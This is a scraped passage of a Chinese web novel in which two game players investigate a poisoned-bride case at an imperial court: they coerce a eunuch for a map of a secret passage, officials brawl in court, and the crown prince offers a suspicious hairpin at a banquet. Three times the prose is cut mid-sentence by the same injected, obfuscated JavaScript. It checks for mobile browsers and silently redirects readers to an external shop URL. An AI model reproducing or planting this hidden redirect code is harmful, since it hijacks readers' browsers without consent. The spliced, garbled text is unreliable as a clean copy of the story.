她盯着看了两秒,然后迅速把被子往头上一拉,整个人缩进去:“冬逢初!你先把衣服穿好。” 冬逢初低头看了看自己,随即失笑。他直起身,慢条斯理地将套了一半的上衣穿好,系好衣带,这才拍了拍被团:“好啦。” 初与序从被子里探出头,看了他一眼,才掀开被子下床。 走到洗漱的房间,刚漱了口,就听见那烦死人的系统声音传来: 【主线任务更新:“红轿案”仍在继续,若不彻底解决,玩家初与序仍可能被强行送入宫中。柳青娘线索指向太子萧景琰,需进宫查证。】 初与序朝外间提醒了一句:“记得把昨天找到的盒子带上。” 说着她走向衣柜,打开,里面挂了不少新做的衣裳。她随手拿了一件天蓝色袖衫,下裳是一件马面裙。她很快换好,又随便用一根玉簪将长发绾起。 走出来时,冬逢初也收拾好。因为要进宫,他束好了长发,戴上乌纱官帽,没有头发遮挡的脸清晰明朗。身上穿着深蓝色的官服,手里还拿着一块象牙制成的笏扳。 “听说这东西,在古代上朝时还可以用来打人。”见初与序说来,他随口道。 初与序掀起眼皮看了一眼:“那你小心点,别把其余文官打得鼻青脸肿。” 冬逢初笑道:“我也没有那么粗暴吧?说不定到时候鼻青脸肿的是我。” “是是是,所以你也要小心点。”初与序点点头,想到了什么,话锋一转,“不过你打算怎么带我进宫?” 冬逢初闻言,低头思考片刻,道,“你是初家嫡女,也刚脱离红轿案新娘这个身份,我可以向陛下陈情,请求准许你入宫,协助我调查。” 初与序点了点头:“可以。” 两人没再耽搁,将摘星阁的木盒揣入怀中,坐着马车来到宫门。 守门的禁军认得冬逢初,见他下车,上前一步,抱拳道:“冬大人。” 冬逢初从怀中取出一份盖着吏部官印的文书,解释道:“臣冬逢初,携内子初氏进宫。因红轿一案涉及初府旧事,尚有细节需内子从旁协助陈情。已得陛下口谕准允。” 禁军通灵接过文书,仔细看了一遍,点了点头,侧身让开:“大人,夫人,请。” 两人步入宫门。 还是之前那道长长的宫道,两侧高墙耸立。行至御书房外,有内侍早早等候,见两人来,便引着他们入内。 皇帝萧衍正在批阅奏章,见他们进来,放下朱笔抬头。 “臣冬逢初,叩见陛下。”冬逢初撩袍跪下,这次倒是熟练了很多。 “臣妇初氏,叩见陛下。”初与序行礼。 “起来吧。”萧衍淡淡道,“婚事办得如何?” “一切顺遂,谢陛下挂怀。”冬逢初起身,恭声回答。 萧衍侧过头打量初与序,初与序脸上带着温和的笑,倒不胆怯。他随即看向冬逢初:“你昨日才成婚,今日便急着携新妇入宫,想必还有其余事,可是红轿案有了进展?” “回陛下明。”冬逢初道,“臣连日查访,确有发现。” 他顿了顿,正要往下说,耳夹里忽然传来初与序的声音:“别说太子的事,这皇帝有些不对。” 他安静了半秒,再开口:“臣循着‘胭脂’追查,发现东宫赐予各家入选女子的胭脂中,均含有一种名为‘离魂草’的异域草药。此草有致幻假死之效。前几位新娘入宫前皆使用此胭脂,死状‘如生’,或与此有关。” 他话锋一转:“但具体是东宫何人,目的为何,尚需进一步查证。” “且此事涉及初府。”他看向初与序,“内子初氏,对其父与东宫往来旧事有所知晓。故臣斗胆,携其入宫,协助问询。” 萧衍看了初与序片刻,缓缓开口:“既如此,初氏便暂留宫内。” 他对一旁的内侍道:“赐她一块临时腰牌,限今日使用。” 内侍很快取来一块腰牌,递给初与序,牌子不大,上面刻着“协查”二字,还有当日的日期戳印。 “去吧。”萧衍摆了摆手,重新拿起朱笔,不再打算多问。 两人退出御书房,走到一处偏僻的假山后,四下无人。冬逢初才停下脚步,问道:“怎么回事?” 初与序也停下,压低声音道:“我也说不上来,只是感觉陛下反应不太对。红轿案牵扯到储君,他若是真的一心想查清真相,听到东宫,多少该有些反应。可他问都不问,只让我们继续调查。” “况且,红轿案已经发生了四次,按常理,陛下若是真想阻止惨局再次发生,在案子查清前应该暂停选妃,暂停让太子成婚,避免下一个受害者出现。” 她摊开手:“可他并没有,他明知我是下一个新娘,可还是同意了太子的请求,同时他又让你查案。这很矛盾,他到底是想查清真相,还是另有所图?” 冬逢初脸色一变:“所以陛下可能早就知道了些什么?” “不确定。”初与序摇头,“但我们手里本来证据就不多,也不知道陛下的态度,保险起见,太子的事先别捅到他面前。” 冬逢初点了点头:“好,那我们暂时分开行动,我去内务府看看。” 两人各自转身,朝着不同的方向走去。 初与序在一位宫女的带领下,来到一处偏殿。殿内陈设简单,干净整洁,燃着炭盆。 自己现在虽有腰牌,可以在宫中走动。但腰牌限时只有一天,皇帝若不是什么好人,又清楚初与序她有能力查到真相,很难再让她明日进宫。 今天一天提前通关副本是不可能的了,需要想办法明天也能入宫。 她记得,江意之前说过,像这种副本里一般都有密道…… 初与序坐下,垂眸思考了片刻,转身对着外面候着的一个小太监道:“劳烦,请将东宫太子殿下身边的近侍赵德,唤来此处。便说,我有事相询。” 小太监有些迟疑:“这……赵公公是太子殿下身边得用的人,恐怕……” 初与序没说话,只是抬手亮出腰间的腰牌。 小太监看清,连忙躬身:“是,夫人稍候,奴才这就去请。” 一盏茶的功夫,殿门被推开,一个穿着工服的太监走了进来,脸上带着倨傲的神色,脚步不紧不慢。见到端坐在上首的初与序,也只是随意地拱了拱手,拖长调子: “奴才赵德,给夫人请安。不知夫人唤奴才来,有何吩咐?” 他嘴上说着请安,腰却没弯下去多少,眼神里带着轻蔑。 初与序没开口,靠在椅子上,两腿交叠,左手搭在扶手上,右手端着茶杯。立刻有宫女上前为她杯中倒茶。 赵德心里不以为然,一个拿着临时腰牌的钦差夫人,就想摆谱问话?他可是太子殿下身边的心腹,宫里多少人见了他都得客客气气。 他等了片刻,不见初与序说话,便有些不耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184661|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“夫人若无事,奴才还得回去伺候太子殿下。殿下那边,可离不得人。” 初与序这才抬眸,扫了他一眼。那眼神没什么情绪,赵德心却莫名跳了一下。 她放下茶杯,道:“赵公公,在太子殿下身边伺候,想必知道不少事。” 赵德道:“那是自然,殿下的事,奴才不敢说全知道,十有八九总是有的。太子殿下,可是咱们大梁未来的主子。有些事,有些人,还是得掂量清楚分量,不该问的别问,不该管的也别管。夫人您说是不是这个理?” 初与序看着他,忽然微微笑了笑。 然后她抬起手,轻轻挥了挥。房内的两个宫女和一个太监立刻起身,退了出去,并关上了殿门。 赵德左右看了看,有些不安:“夫人这是何意?难道还想私下用刑不成?奴才可是太子殿下的人!” 初与序站起身,缓步走到他面前。 “赵公公。”她开口,“你说你都知道,那你主子瞒着陛下,在摘星阁里炼制鬼兵的事,你可知道?” 她顿了顿,看着赵德瞬间惨白的脸:“猜猜看,这事陛下若是知道了,会怎么处置你?” 赵德整个人如遭雷击,僵在原地,矢口否认道:“你……你胡说什么!什么鬼兵!奴才、奴才不知道!” 初与序冷冷看着他,赵德腿一软,几乎要跪下来,还想辩解,但一个字也说不出来。 “鬼兵……你、你怎么会知道。”他终于颤抖着道。 “我怎么知道不重要。”初与序道,“重要的是,陛下很快就会知道。到时候你以为太子保得住你?还是你觉得,太子会为了你一个奴才,去跟陛下硬扛?” 赵德猛地抬头,他当然知道太子是什么样的人。若是事情发生,第一个被推出去顶罪的肯定是他。 “夫人……夫人饶命!”他手脚并用往前爬了几步,趴在地上连连磕头,“奴才只是一时糊涂!是太子殿下逼我的!奴才什么都说,求夫人和钦差大人给奴才一条生路!” 初与序退后半步,避开他想拉自己裙摆的手:“想活命?” 大部分人都惜命,用性命来威胁一个人太容易了。赵德拼命点头。 “东宫有密道,交出密道的图纸,你还有一线生机。”初与序不再绕弯子。 赵德抬起头,没料到初与序还知道这东西:“密、密道图?那,那是……” “那是你主子最后保命的路,是么?”初与序说,“可现在你主子自身难保,这地图对你来说是催命符,交出来或许还能换你一条命,换个地方苟活。” 赵德知道初与序说得对,东宫的密道是太子最大的秘密质疑,只有他和太子等少数人知道具体线路。若真到了穷途末路,这确实是最后的退路。可现在太子炼鬼兵的事泄露,钦差和钦差夫人都有证据。陛下知道,太子都自身难保,更何况他一个奴才? 赵德垂下头,哑声道:“图纸在奴才住处,床板下暗格里。” “取来。”初与序道。 赵德挣扎着爬起来,踉跄地朝外走去。初与序叫住一个小太监,低声吩咐了几句,小太监跟了上去。 过了片刻,赵德在小太监的陪同下取来了一卷羊皮纸,递到初与序面前。初与序展开扫了一眼,上面画着复杂的路径和一些符号标记,确实是地图。她将图卷起,收入袖中。 “夫人,您答应过的……”赵德眼巴巴望着她。 初与序看了他一眼:“今日之事,你知我知。若再有第三个人知道地图不在你手中……” “奴才明白!”赵德连连点头,“奴才什么都不知道!地图一直都在奴才里,从未给过任何人!” 初与序不再理会他,转身走出殿门,冬日的冷风立刻就灌了进来。 257.红轿案 此时此刻,冬逢初正在内务府翻找资料。他刚从一个标记着“癸酉年”的木匣里抽出一卷账册,外面忽然传来一阵急促的脚步声—— “冬大人!冬大人!” 我靠,谁在这关键时刻来了?! 冬逢初吓得手一抖,险些把册子掉地上。他迅速把册子合拢,塞回匣子里去,这才站起身。 一个小太监气喘吁吁地跑到他面前,也顾不上行礼,急声道:“冬大人!可算找到您了!陛下紧急传召,请您即刻前往太和殿议事!” 冬逢初问:“议事?所为何事?” “说是北边出了好几起大案,连着红轿案的!具体奴才也不清楚,但陛下催得急,诸位大人已经在往太和殿赶了!”小太监道。 冬逢初点了点头:“知道了,我这就去。” 他跟着小太监走出内务府,穿过重重宫门廊道,朝太和殿的方向走去。一路上果然看到不少官员小跑着朝同一个地方。 到了太和殿,已经聚集了不少人。文官按品级分立两侧,武将则站在另一边,皇帝还没到。冬逢初找到自己位置站定,看向周围。看到了几张熟面孔,有昨日婚宴上见过的同僚,也有几位掌管民政的重臣。 “陛下驾到——” 冬逢初收回目光,和众官员齐齐躬身行礼。 皇帝萧衍步入殿中,在御座坐下。他一身明黄朝服,神情严肃: “平身。” 众人起身,垂手肃立。 皇帝直接道:“近日,接连有北地州县奏报,民间‘冥婚’陋习猖獗,已非个例。” “自去岁至今,北地十三村,累计发生‘暴毙女子强行配活人冥婚’事件,不下二十起。受害者不止本地男子女子,更有外乡行商、流民被拐骗,伪造生辰八字,强行与亡人合葬。” 不少官员显然第一次听闻此事,脸上露出惊愕。冬逢初面无表情看着皇帝,在心里叹了口气。 还不是你那好大儿干的?为了炼制他的鬼兵军团,到处搜罗“阴煞”。柳青娘是一个,北地十三村,不知道还有多少女子受了害。你不去看看你儿子这些年在干啥,把我们一些官员叫来干嘛?我线索刚看到一半呢,差点没被吓死。 皇帝继续道:“此事已非单纯乡俗。地方奏报,民间已有专司此事的冥婚帮派,勾结地痞乡绅,形成一条拐卖人口,伪造文书,勒索钱财的产业链。更有人暗示,某些地方官绅暗中支持,借此侵吞绝户田产,行土地兼并之实。” 这话一出,殿内气氛更凝重起来。涉及土地兼并,就是触动国本根基之事。 冬逢初垂着眼,冥婚案竟然已经蔓延到这儿了?而且与土地兼并牵扯…… “然,最令朕不安者,乃是近日民间流传之谣言。”皇帝冷声道,“称这些冥婚死者之状,与宫中红轿案新娘死状如出一辙,皆‘面色如生,唇含朱色’。” 十二年,红轿案是悬在朝堂之上十二年的一把刀,如今这把刀竟然还和民间的冥婚陋习扯上了关系。 这已经不只是民间犯罪和土地兼并的问题了,这是直接在动摇皇权啊! 冬逢初握着笏扳,抬眸极快地扫了一眼御座上的皇帝。皇帝没什么表情,只是眼底阴沉沉的。 “今日召诸位爱卿来,便是要议一议这两桩悬案。” 他话刚落,一位须发皆白的老臣颤颤巍巍出列:“陛下,冥婚之事,虽是陋习,然千年沿袭,关于民俗人伦。若严惩,恐激起民间抵触,有伤教化。老臣以为,当以劝导为主,令地方官严查帮派即可,不宜扩大……” 他话没说完,刑部尚书便一步跨出:“周老此言差矣!《大梁律》明载:‘生人殉葬者,主谋者斩,从者流三千里’。此非习俗,乃是谋杀!北地十七起,二十七条人命,十九个活人生殉,此等骇人听闻之举,若再以‘习俗’轻轻揭过,国法威严何在?!民心何安?!” “秦尚书!”另一位官员立刻反驳,“法律是死的,人是活的!北地民风剽悍,宗族势力盘根错节,若一味强压,激起民变,谁来担责?!” 这一开头,殿内炸开了锅,文官们你一言我一语,吵得不可开交,武将们则抱着胳膊旁观,偶尔交换个眼神。 冬逢初安静地站在原位听了一会,发现发言的一群人分成两派: 一派是保守派,以礼部和几位老臣为首,主张“民不举官不究”,认为冥婚是千年古俗,只要不闹出大事,就应该以教化安抚为主。 另一派是改革派,以刑部和几位年轻御史为代表,认为冥婚案性质恶劣,已形成犯罪产业链,并且冥婚已经与红轿案死状联系起来,严重影响了朝廷威严和宫廷声誉,必须彻查以安民心。当然,他自己就是改革派这边的。 “民变?”站在冬逢初前面的一位御史冷笑,“依下官看,不是民变,是有些人借着‘习俗’的皮,行谋财害命,兼并土地之实!地方官奏报已暗示官绅参与,难道朝廷要坐视这些虫子继续吸食民脂民膏,甚至将手伸向外乡人的性命吗?!” 另一位文官接口道:“正是!况且红轿案悬而未决,民间已经有诸多猜疑。如今冥婚案死状竟然与红轿案如此相似,难道不该一查到底?冬大人奉命查办红轿案,冥婚案也牵扯到东宫,不也正需要厘清这些关联吗?” 他这话本随意提了一句冬逢初,强调查证的必要。 可话落,对面一个穿着绯红官袍的官员立刻厉声呵斥:“放肆!朝堂之上,岂容你妄加揣测,污蔑官绅?!冥婚案自是恶性,但红轿案乃宫闱之事,两者岂可混为一谈?” 他说着,意有所指地看向冬逢初: “某些人,身为钦差,查办红轿案本就是职责所在。但查案需讲证据,循规矩。拿着些民间流传,不相干的冥婚案子,就想攀扯东宫,是何居心?莫不是觉得,红轿案水太深,想找个由头把水搅得更浑,或是另有所图?” 冬逢初:“?” 我操,提我干嘛?这他妈又是哪一派的? 他这话指向性已经非常明显了,直接将矛头对准了冬逢初,暗示他查案动机不纯,甚至可能怀有不可告人的政治目的。 不少人纷纷回头,将目光投向冬逢初。 那官员见冬逢初不语,以为他被自己镇住,抬高下巴:“冬大人,查案办案需脚踏实地,明辨是非。有些事不是你该碰,也不是你能碰的。有些线索,或许只是有人别有用心,刻意引导罢了。你可知本官身份?本官掌管天下钱粮,深知稳字当头。” 冬逢初沉默片刻:“你谁?” 那官员:“???” 殿内原本嘈杂的争吵声一停,几个官员没忍住,“噗嗤”一声笑出来,又赶紧捂住嘴。 那官员脸瞬间涨成猪肝色,指着冬逢初:“你、你……本官乃户部右侍郎,李尧廷!” 冬逢初“哦”了一声,点点头。 他有点印象,这位李侍郎好像与东宫走得蛮近的。 看来这朝堂上还有第三派——太子党。这些人不在乎什么冥婚案,也不关心什么习俗律法,只睁着眼胡扯,将任何指向东宫的线索都打成“别有用心”,把舆论引向冬逢初。 真是无妄之灾,冬逢初在心里叹了口气。 他看向李侍郎,平静道:“李侍郎,下官奉旨查办红轿案,于槐花村亲眼目睹冥婚现场,救下一名被绑书生。据亲眼所见,冥婚流程中,死者尸体确实保持‘面色如生,唇含朱色’,与红轿案卷宗所载新娘死状,一般无二。” 他顿了顿,继续道:“下官已查明,此状乃因死者生前接触过特殊药物‘离魂草’。而此草,东宫近年确有定期采买。下官无意揣测,但线索至此,冥婚案与红轿案是否关联,是否有人借民间陋习行不可告人之事,难道不该彻查清楚,以正视听,以安天下么?” “冬逢初!”有人指着它,“你休要在此危言耸听,攀扯东宫!查案便查案,拿着些捕风捉影的线索,就想动摇国本吗?!” 我说这么多,你只听到“东宫”二字啊?! “马侍郎!”支持冬逢初的年轻御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184662|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史立刻呛声,“冬大人句句实证,何来捕风捉影?!倒是你们,左一句‘不可混谈’,右一句‘动摇国本’,如此急着撇清,究竟在心虚什么?!” “放肆!黄口小儿,安敢污蔑本官!” “是不是污蔑,查了便知!马侍郎如此阻拦查案,莫非真与东宫……” “你血口喷人!” 一时间殿内争吵再起,三方人马搅在一起,互相指责,就连全程没说过几句话的冬逢初都被骂了几句,夹枪带棒有之,扣帽子泼脏水亦有之。 那马侍郎被气得满脸通红,气急败坏之下顾不得什么,猛地抄起自己手中的笏扳,朝着对面御史狠狠掷了过去:“竖子无礼!” 笏扳脱手,飞向年轻御史面门。 御史反应快,侧身一躲,笏扳砸在他后方殿柱上,又弹落在地。 他也是个血性未退的,当下举起自己的笏扳,抡圆了胳膊就砸回去:“老匹夫!安敢动手!” 马侍郎慌忙躲开,那笏扳没砸中他脑袋,却砸到了旁边一位低头想溜的官员腿上。 “哎呦!”那官员猝不及防,捂着腿蹲下来。他火气也不小,顺手捡起笏板,也不管谁扔的了,抡起来就朝着马侍郎和年轻御史的方向挥舞过去:“住手!成何体统!反了!反了!” “哎!王老!您悠着点!” “别打!别打!哎呦我的帽子!” “打他!打那个扔我笏扳的!” 一时间太和殿鸡飞狗跳,文官们此刻急了眼,真抄起手中的笏扳互殴起来,场面混乱不堪。武将们抱着胳膊站在一边,看得目瞪口呆,嘴角拼命往下压。 冬逢初一脸懵地看着这一幕,只觉得荒谬绝伦。他连忙抬起手,点了两下右耳耳骨夹。 通讯接通,他将实时画面传播给初与序:“阿序,你快看!” 初与序此刻正在一间宫室内翻阅旧档,闻言抬头,眼前浮现出冬逢初共享来的画面。只见一群朝廷大员毫无形象地挥舞着笏扳打成一团,鸡飞狗跳。 初与序:“……” “还真打起来了?” 你人怪好嘞,还给免费直播。 冬逢初正想回话,一根不知从哪儿飞来的笏扳带着风声,“嗖”地擦着他鼻尖飞过,结结实实砸在了他身后地板上。 他默默往旁边挪了半步。 “都给朕住手!!!” 一声雷霆般的怒吼传来,萧衍猛地拿起御案上的镇纸,狠狠摔在了地上,上好的白玉瞬间四分五裂。 殿内瞬间安静下来,扭打在一起的官员如梦初醒,连忙推开。一个个鼻青脸肿,面面相觑,脸上全是后怕。 萧衍气得胸膛剧烈起伏,手指都在发抖:“好,好得很!这就是朕的肱骨之臣!朝堂之上,斯文扫地,与市井无赖何异?!成何体统!成何体统!” 无人敢应声,吓得瑟瑟发抖。 萧衍深吸了几口气,勉强压下怒火:“所有动手者,罚俸半年!官降一级!以儆效尤!” 那些参加“笏扳大战”的官员脸色苍白,纷纷跪倒在地:“臣等知罪……谢陛下隆恩……” “至于冥婚一案……”萧衍也没兴趣再讨论啥了,低头找着可以处理这事的官员。 冬逢初老老实实待在原地,尽量低下头祈祷皇帝别看到自己。 别点我别点我,他们都打架了,皇上您目光如炬,快看看他们吧,千万别点我,我还要赶着回去和我夫人汇合呢…… “冬逢初。” “……” 冬逢初出列躬身:“臣在。” “红轿案由你主查,现今冥婚案与红轿案疑似勾连,影响恶劣。”萧衍看着他,“朕命你,兼查北地十三村冥婚连环案。赐你临机专断之权,地方官员、驻军,皆须配合。若有阻挠办案,隐瞒实情者,无论官绅,无论何人,皆以同谋论处,先斩后奏。” 冬逢初垂下眼掩去眸中不情愿,应道:“臣领旨。” “退朝!”萧衍不再看任何人,拂袖而去。 258.红轿案 冬逢初刚随着人流走出太和殿没几步,身后就传来呼唤:“冬大人留步!” 他回头,见是一个小太监追了上来。 小太监到他跟前,躬身行礼:“大人,皇上口谕:‘朕念冬大人近日辛劳,奏对甚合朕心。下午大人与夫人不必出宫,与乾清宫西配殿随宴。’请大人与夫人于酉时到乾清门外等候,自有内侍引路。” 冬逢初点了点头:“有劳公公,臣领旨。” 小太监传完话,便退下去。 冬逢初在原地站了片刻,这才转身朝着假山方向走去。初与序已经等在那里,背靠着山石,正垂眸看着手里的一卷图纸。听到脚步声,她抬起头。 冬逢初凑到她面前,弯下腰把脑袋往她那边凑了凑,语气里带着委屈:“夫人,我下朝回来了。” 初与序看着他。 “他们打架都打到我了。”冬逢初可怜巴巴道,“很疼的。” 初与序愣了一下,仔细打量他。英俊的脸上干干净净没一处淤青,官袍也整整齐齐,连根头发丝都没乱。 她看了几秒,没发现哪里有伤,但看着自己夫君那副“我很委屈”的表情,还是有些懵地伸出手轻轻揉了揉他的头发:“打到哪里了?” 冬逢初被她揉得舒服,弯了弯眼睛:“没事。” 初与序:“……” 冬逢初顿了顿,正色道:“但皇帝给了新任务,冥婚案也归我查。我下午不能待在宫里陪你了,得去离京城最近的几个村子转一转。你下午……先回府上?” “能回去?”初与序问。 “不能。” “……那你说什么?”初与序无奈道。 冬逢初长叹一口气,不情愿道:“皇帝说晚上五六点左右赐宴,在乾清宫西配殿。我五点前肯定回来,下午你就在宫里看看。” 他话锋一转:“但看皇帝的意思,不打算让我们明天再来宫里。” 初与序点点头,将手中的地图展开,递到冬逢初面前:“东宫密道地图,我从太子手下赵德那里拿来的。” 冬逢初接过图纸,认真看着。 “我下去就潜入东宫,按照图上的标记找一找密道路线。”初与序说,“如果顺利,明天我们可以直接从密道进来,免得再惊动皇上那边。” 冬逢初点点头:“务必小心,若有不对立刻退出来,我们暂时还不是太子的对手。” “知道。”初与序应下,转身打算走,想了想又回过头,开玩笑般叮嘱了一句,“你也小心,去村里真碰上什么冥婚队伍,别被抓去了。” 冬逢初笑了笑,转身往宫门口走去。 一整个下午,初与序就待在宫里,按着那张地图把东宫摸了个遍,连带着周围其他宫殿和守卫巡逻的时间也记了个七七八八。 太阳已经降到了天边,约莫着申时末,初与序返回与冬逢初约定的假山后。 没过多久,冬逢初也赶了回来,身上还带着城外郊野的气息。 两人整理了一下衣袍,便朝着乾清宫方向走。 酉时初刻,前倾门外已经有内侍等候。见他们到来,内侍躬身引路,将他们带入西配殿。 殿内暖香融融,数十张紫檀木桌分列两侧,上面摆着酒具和瓜果点心。御座位于大殿正中,皇帝没到,龙椅空悬。 殿内已经有二三十位官员先到了,三三两两聚在一起交谈。冬逢初和初与序刚踏入殿内,就有人迎了上来。正是早上那位和马侍郎互殴的年轻御史。 他姓周,单名一个焕。他换了身干净官袍,脸上的淤青用脂粉遮住。见到冬逢初,眼睛一亮,走过来拱手笑道:“冬大人!夫人!你们也来了!” 冬逢初还礼:“周御史。” 周焕兴奋道:“冬大人,早上那事儿……咳,虽然咱们和他们闹得不太好看,但陛下把冥婚案交给你查,这可是大好事!那些虫子早该收拾了!有什么需要帮忙的,尽管开口!” 冬逢初笑了笑:“周御史有心了,查案自当秉公办理,还需诸位同僚多多支持。” “那是自然!”周焕连连点头,又看向初与序,笑道:“诶,夫人今日也在宫中?” 初与序点了点头:“蒙陛下恩典,暂留协查。” 三个人简单聊了几句,冬逢初和初与序便打算找到自己的位置坐下。刚看了一圈,旁边就传来一个阴阳怪气的声音:“哟,这不是冬大人和冬夫人吗?别找了,你们的位置可靠前了呢?” 冬逢初和初与序心下一烦,靠前对他们俩可不是什么好事。 他们循声望去,对面站着四五个人,都是绯红官袍,品阶不低。为首一人面色不善,正是早上那位户部李侍郎。他身边几位看模样,应该也是太子一党。 李侍郎见他们看来,伸手一指:“瞧,左首第一席,双人座,案上名牌写得清清楚楚——冬逢初,初与序。陛下隆恩,体恤冬大人新婚燕尔,查案辛苦,特意将二位安排在前头,好生‘关照’呢。” 冬逢初和初与序顺着他指的方向看去。 御座之下,左右两侧各设首席。左首是他们俩,而右首第一席此刻已坐着一个人。 那人身着杏黄色四爪蟒袍,头戴金冠,正端着酒杯,似笑非笑地望过来。正是太子萧景琰。 两人:“……” 我去你的,这位置离御座太近,离太子也太近,说是恩宠,倒像是压力。能不能给别人坐? 萧景琰也不说话,只是那么笑眯眯地看着他们,准确来说是看着初与序。 众目睽睽之下,避无可避。 冬逢初看了初与序一眼,拉着她的手腕,两人上前一步走到御座前面,对着太子躬身行礼:“臣冬逢初,臣妇初氏,参见太子殿下。” 萧景琰这才放下酒杯,脸上笑容未变:“不必多礼,今日乃父皇赐宴,庆贺二位新婚,亦是慰劳冬大人查案辛苦,快快入座吧。” “谢殿下。”两人这才转身,走向左首第一席。 不久后,就有内侍扬声喊道 “陛下驾到——皇后娘娘驾到——” 霎时间,殿内一切声音戛然而止,所有人迅速起身,面朝御座方向。 脚步声由远及近,很快两道人影在众多宫女太监的簇拥下步入殿内,登上御阶。 皇帝穿着一身常服,外罩披风,依旧没什么表情。皇后紧随其后,身着深青色衣服,头戴九龙四凤冠,妆容精致,仪态端方,脸上带着微笑。两人在御座落座。 “臣等叩见陛下,陛下万岁万岁万万岁!叩见皇后娘娘,娘娘千岁千岁千千岁!” 殿内所有人齐刷刷跪倒,山呼万岁。 “平身。”萧衍道,“今日乃家宴,不必拘礼,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184663|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐吧。” “谢陛下!” 众人这才起身各自落座。萧衍端起面前的金樽,开口道:“今日设宴,一为慰劳众卿今日辛劳,二来,红轿旧案与北地冥婚新案,牵动朝野。朕已命冬卿兼查两案,望众卿同心协力,祝冬卿早日查明真相,以定民心。” 他举起金樽:“此杯,愿我大梁国泰民安,愿诸卿勠力同心。” “陛下圣明!臣等谨遵圣喻!愿大梁国祚永存!” 所有人再次起身,举杯痛饮。 “开宴吧。”萧衍对一旁的内侍总管吩咐道。 “开——宴——” 早已等候在殿内的宫女太监们鱼贯而入,捧着各色佳肴,流水般送上各席。丝竹声响起,宴席正式开始。 官员们开始互相敬酒,低声交谈。冬逢初和初与序坐在左首首席,这个位置过于显眼,能清晰感受到来自四面八方的注视。对面的萧景琰更是毫不避违,举杯向他们示意,目光似有若无地落在初与序身上。 冬逢初面上平静,给初与序夹了一筷子清淡的菜,低声道:“先吃东西垫垫胃,回府给你做西红柿炒蛋。” 初与序笑了一下,小口吃着。 酒过三巡,菜过五味。忽然,太子萧景琰放下酒杯,轻轻击了击掌。清脆的掌声不算大,只有靠近御座的几位官员注意到,交谈的声音低了下去。 一名内侍躬身上前,手里捧着一只巴掌大的盒子。萧景琰接过盒子,亲自起身,缓步走到初与序和冬逢初的席前。他在案前站定,打开了盒子。 盒内红绒衬底上,躺着一支赤金点翠步摇。点翠的鸟羽栩栩如生,和初与序大婚时戴的那支样子相似。但若细看,这支步摇的尾端点缀着一粒晶石,暗红色,半透明的。 初与序一看就知道,不对劲。 这晶石,大概是离魂草提炼物混合了什么矿物做成的。这种套路她太熟悉了。 萧景琰执起步摇,声音温和:“初小姐……哦,如今该称冬夫人了。孤前日见冬夫人大婚时所用首饰,甚为清雅。特命尚服局仿制一支,略表心意,恭贺新婚。” 他说着,竟自然而然伸出手,拿着步摇便要帮初与序戴上。 初与序心里一惊,微微后仰,避开了他的手,同时冬逢初也放下酒杯,伸手稳稳接住了萧景琰递来的步摇,温身道:“殿下厚赐,臣代内子谢过。只是内子不喜繁饰,恐辜负殿下美意。” 萧景琰的手停在空中,随即慢慢收回,看着冬逢初,又看了一眼初与序。 “是么?”他笑容更深,“冬夫人不喜繁饰?倒是可惜了,这支步摇可是孤特意命人赶制的。” 初与序这才抬眼:“谢殿下美意,臣妇感激不尽,但确是不惯佩戴繁复饰。” 萧景琰看着她,沉默了片刻。 忽然,他向前倾了倾身,压低声音,用只有他们三人能听见的声音道:“可孤倒是觉得,冬夫人血脉特殊,这支‘赤魄石’步摇与她最为相配。毕竟,有些东西,藏是藏不住的。” 他说完,便直起身离开,回到了自己席位上。 之后,他再未朝这边投来一眼,也再未与冬逢初和初与序有任何交集。两人在宴席上盼呀盼,终于盼到了宴席结束。 皇帝和皇后的身影消失在殿门后,官员们开始互相道别,三三两两地朝着殿外走去。 259.红轿案 初与序和冬逢初也随着人流起身,准备离开。 刚走出没几步,身后又有人追上来。刑部一位与冬逢初相熟的郎中上前,低声道:“冬大人,关于北地冥婚案的卷宗和证人名录,下官还有些细节需立刻与大人核实,不知大人可否……” 冬逢初看了一眼身边的初与序,温声道:“阿序,你先去外面廊下等我片刻,我很快出来。” 初与序走出大殿,外面已经夜色深沉,寒风凛冽。廊下挂着宫灯,光线昏暗。官员们陆续从她身边经过,和她打完招呼后便上了马车,很快散去。 就在这时,一道杏黄色的身影从殿内缓步走出,萧景琰身边还跟着几位下属,正低声说着什么。 经过初与序身旁时,他脚步一顿,侧过头,看向初与序,声音混在风声里快听不清: “初小姐。”他唤的依旧是旧称,“夜色深了,路上小心。” 初与序面无表情抬眸:“多谢殿下提醒。” 萧景琰深深地看了她一眼,迈步离开。 又多了片刻,冬逢初才从殿内走出,自然地握过她的手帮她取暖。两人登上马车,马车朝着冬府的方向驶去。 